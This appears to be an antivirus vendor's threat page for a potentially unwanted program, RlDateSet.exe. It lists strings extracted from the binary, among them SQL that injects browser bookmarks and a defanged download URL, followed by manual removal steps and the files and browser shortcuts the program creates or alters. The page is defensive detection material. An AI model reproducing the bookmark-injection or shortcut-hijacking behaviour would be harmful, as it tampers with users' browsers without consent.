SHLWAPI.dll

dbghelp.dll

VERSION.dll

PeekNamedPipe

CryptDestroyKey

CryptImportKey

WS2_32.dll

WLDAP32.dll

.?AVexceptionCurlAssertionFailed@gtc@@

.?AVsqliteDB@sqlite@db@@

.?AVsqliteCommand@sqlite@db@@

.?AVsqliteDataSet@sqlite@db@@

.PA_W

<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>

3 3$3(3,3

;!;*;/;^;

94:8:<:@:

1$1(1,1014181<1@1 2'2

7.8<8?:_:

0$1(1,1014181

62686|6{7

= =$=(=,=0=

?"?*?/?7?

2 2$2(2,202\2

4"4,444@4

5 5$5(5,50545

exceptionCurlAssertionFailed

1 CURLE_UNSUPPORTED_PROTOCOL

2 CURLE_FAILED_INIT

3 CURLE_URL_MALFORMAT

4 - [was obsoleted in August 2007 for 7.17.0, reused in April 2011 for 7.21.5]

5 CURLE_COULDNT_RESOLVE_PROXY

6 CURLE_COULDNT_RESOLVE_HOST

7 CURLE_COULDNT_CONNECT

8 CURLE_FTP_WEIRD_SERVER_REPLY

9 a service was denied by the server due to lack of access - when login fails this is not returned.

10 - [was obsoleted in April 2006 for 7.15.4, reused in Dec 2011 for 7.24.0]

11 CURLE_FTP_WEIRD_PASS_REPLY

12 - timeout occurred accepting server [was obsoleted in August 2007 for 7.17.0, reused in Dec 2011 for 7.24.0]

13 CURLE_FTP_WEIRD_PASV_REPLY

14 CURLE_FTP_WEIRD_227_FORMAT

15 CURLE_FTP_CANT_GET_HOST

16 - A problem in the http2 framing layer. [was obsoleted in August 2007 for 7.17.0, reused in July 2014 for 7.38.0]

17 CURLE_FTP_COULDNT_SET_TYPE

18 CURLE_PARTIAL_FILE

19 CURLE_FTP_COULDNT_RETR_FILE

22 CURLE_HTTP_RETURNED_ERROR

23 CURLE_WRITE_ERROR

27 CURLE_OUT_OF_MEMORY

30 - FTP PORT operation failed

34 CURLE_HTTP_POST_ERROR

37 CURLE_FILE_COULDNT_READ_FILE

38 CURLE_LDAP_CANNOT_BIND

39 CURLE_LDAP_SEARCH_FAILED

41 CURLE_FUNCTION_NOT_FOUND

42 CURLE_ABORTED_BY_CALLBACK

43 CURLE_BAD_FUNCTION_ARGUMENT

45 - CURLOPT_INTERFACE failed

51 - peer's certificate or fingerprint wasn't verified fine

58 - problem with the local certificate

60 - problem with the CA cert (path?)

62 - Invalid LDAP URL

64 - Requested FTP SSL level failed

67 - user, password or similar was not accepted and we failed to login

71 - Illegal TFTP operation

76 - caller must register conversion callbacks using curl_easy_setopt options CURLOPT_CONV_FROM_NETWORK_FUNCTION, CURLOPT_CONV_TO_NETWORK_FUNCTION, and CURLOPT_CONV_FROM_UTF8_FUNCTION

77 - could not load CACERT file, missing or wrong format

79 - error from the SSH layer, somewhat generic so the error message will be of interest when this has happened

81 - socket is not ready for send/recv, wait till it's ready and try again (Added in 7.18.2)

82 - could not load CRL file, missing or wrong format (Added in 7.19.0)

83 - Issuer check failed. (Added in 7.19.0)

87 - unable to parse FTP file list

88 - chunk callback reported error

90 - specified pinned public key did not match

91 - invalid certificate status

CURL_UNKNOWN_ERROR

..\..\..\..\NTools\AC\curlwrap.cpp

gtc::curl::downloadFile

Shell32.dll

User32.dll

{3ED02101-0407-41A3-A601-5C9936B36B5F}

SEH_<%s> code:X flags:%d exceptionRecord:X exceptionAddress:X NumberParameters:%d

SQLITE_OK

SQLITE_ERROR<SQL error or missing database>

SQLITE_INTERNAL<Internal logic error in SQLite>

SQLITE_PERM<Access permission denied>

SQLITE_ABORT<Callback routine requested an abort>

SQLITE_BUSY<The database file is locked>

SQLITE_LOCKED<A table in the database is locked>

SQLITE_NOMEM<A malloc() failed>

SQLITE_READONLY<Attempt to write a readonly database>

SQLITE_INTERRUPT<Operation terminated by sqlite3_interrupt()>

SQLITE_IOERR<Some kind of disk I/O error occurred>

SQLITE_CORRUPT<The database disk image is malformed>

SQLITE_NOTFOUND<Unknown opcode in sqlite3_file_control()>

SQLITE_FULL<Insertion failed because database is full>

SQLITE_CANTOPEN<Unable to open the database file>

SQLITE_PROTOCOL<Database lock protocol error>

SQLITE_EMPTY<Database is empty>

SQLITE_SCHEMA<The database schema changed>

SQLITE_TOOBIG<String or BLOB exceeds size limit>

SQLITE_CONSTRAINT<Abort due to constraint violation>

SQLITE_MISMATCH<Data type mismatch>

SQLITE_MISUSE<Library used incorrectly>

SQLITE_NOLFS<Uses OS features not supported on host>

SQLITE_AUTH<Authorization denied>

SQLITE_FORMAT<Auxiliary database format error>

SQLITE_RANGE<2nd parameter to sqlite3_bind out of range>

SQLITE_NOTADB<File opened that is not a database file>

SQLITE_NOTICE<Notifications from sqlite3_log()>

SQLITE_WARNING<Warnings from sqlite3_log()>

SQLITE_ROW<sqlite3_step() has another row ready>

SQLITE_DONE<sqlite3_step() has finished executing>

SQLITE_UNKNOWN_ERROR

..\..\..\..\NTools\db\sqlite\sqlite.cpp

db::sqlite::sqliteDataSet::getDatetime

%Y-%m-%d

db::sqlite::sqliteCommand::buildCommandParameter

db::sqlite::sqliteCommand::executeNonQuery

db::sqlite::sqliteCommand::executeReader

%s(#%d)

13097060879131000

"url":"

"type":"url",

nSOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\

INSERT INTO tb_fav(parent_id,is_folder,title,url,pos,create_time,last_modify_time,is_best,reserved) VALUES(0,0,@title,@url,1,13097060879131000,13097060879131111,0,0)

INSERT INTO tb_fav(parent_id,is_folder,title,url,pos,create_time,last_modify_time,is_best,reserved) VALUES(0,1,@title,'',1,13097060879131222,13097060879131333,0,0)

INSERT INTO tb_fav(parent_id,is_folder,title,url,pos,create_time,last_modify_time,is_best,reserved) VALUES(@parent_id,0,@title,@url,@pos,13097060879131777,13097060879131888,0,0)

kpfav.ini

\bookmark.ini

hXXp://khit.cn/soft

%s/bookmark.ini

(*.ico)|*.ico|

(*.jpg)|*.jpg|bmp

(*.bmp)|*.bmp|

(*.*)|*.*||

1.0.0.0

RlDateSet.exe

Remove it with Ad-Aware

1. Click (here) to download and install Ad-Aware Free Antivirus.
2. Update the definition files.
3. Run a full scan of your computer.

Manual removal*

1. Terminate malicious process(es) (How to End a Process With the Task Manager):No processes have been created.
2. Delete the original PUP file.
   
3. Delete or disinfect the following files created/modified by the PUP:
   

   C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk (2 bytes)
   C:\Users\"%CurrentUserName%"\AppData\Roaming\kpdown\download\XLBugHandler.dll (3616 bytes)
   C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\GPS1JHSL\RlDateSet[1].exe (75617 bytes)
   C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Internet Explorer.lnk (1 bytes)
   C:\Users\Public\Desktop\Google Chrome.lnk (2 bytes)
   C:\Users\"%CurrentUserName%"\AppData\Roaming\kpdown\download\XLBugReport.exe (9320 bytes)
   C:\Users\"%CurrentUserName%"\AppData\Roaming\kpdown\azqconfig.ini (39 bytes)
   C:\Users\"%CurrentUserName%"\AppData\Roaming\kpdown\download\minizip.dll (784 bytes)
   C:\Users\"%CurrentUserName%"\AppData\Roaming\kpdown\download\MiniThunderPlatform.exe (9608 bytes)
   C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk (2 bytes)
   C:\Users\"%CurrentUserName%"\AppData\Roaming\kpdown\download\msvcp71.dll (16944 bytes)
   C:\Users\"%CurrentUserName%"\AppData\Roaming\kpdown\softitems.ini (3 bytes)
   C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Internet Explorer (No Add-ons).lnk (1 bytes)
   C:\Users\"%CurrentUserName%"\AppData\Roaming\kpdown\xldl.dll (10136 bytes)
   C:\Users\"%CurrentUserName%"\AppData\Roaming\kpdown\download\atl71.dll (3312 bytes)
   C:\Users\"%CurrentUserName%"\AppData\Roaming\kpdown\download\zlib1.dll (1856 bytes)
   C:\Users\"%CurrentUserName%"\AppData\Roaming\kpdown\download\id.dat (40 bytes)
   C:\Users\"%CurrentUserName%"\AppData\Roaming\kpdown\download\download_engine.dll (106875 bytes)
   C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Mozilla Firefox.lnk (1 bytes)
   C:\Users\Public\Desktop\Mozilla Firefox.lnk (1 bytes)
   C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RlDateSet.exe (34202 bytes)
   C:\Users\"%CurrentUserName%"\AppData\Roaming\kpdown\download\msvcr71.dll (12088 bytes)
   C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Explorer.lnk (1 bytes)
   C:\Users\"%CurrentUserName%"\AppData\Roaming\kpdown\qudao.gif (219 bytes)
   C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Mozilla Firefox.lnk (1 bytes)
   C:\Users\"%CurrentUserName%"\AppData\Roaming\kpdown\download\dl_peer_id.dll (3312 bytes)

4. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
   
5. Reboot the computer.
   

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.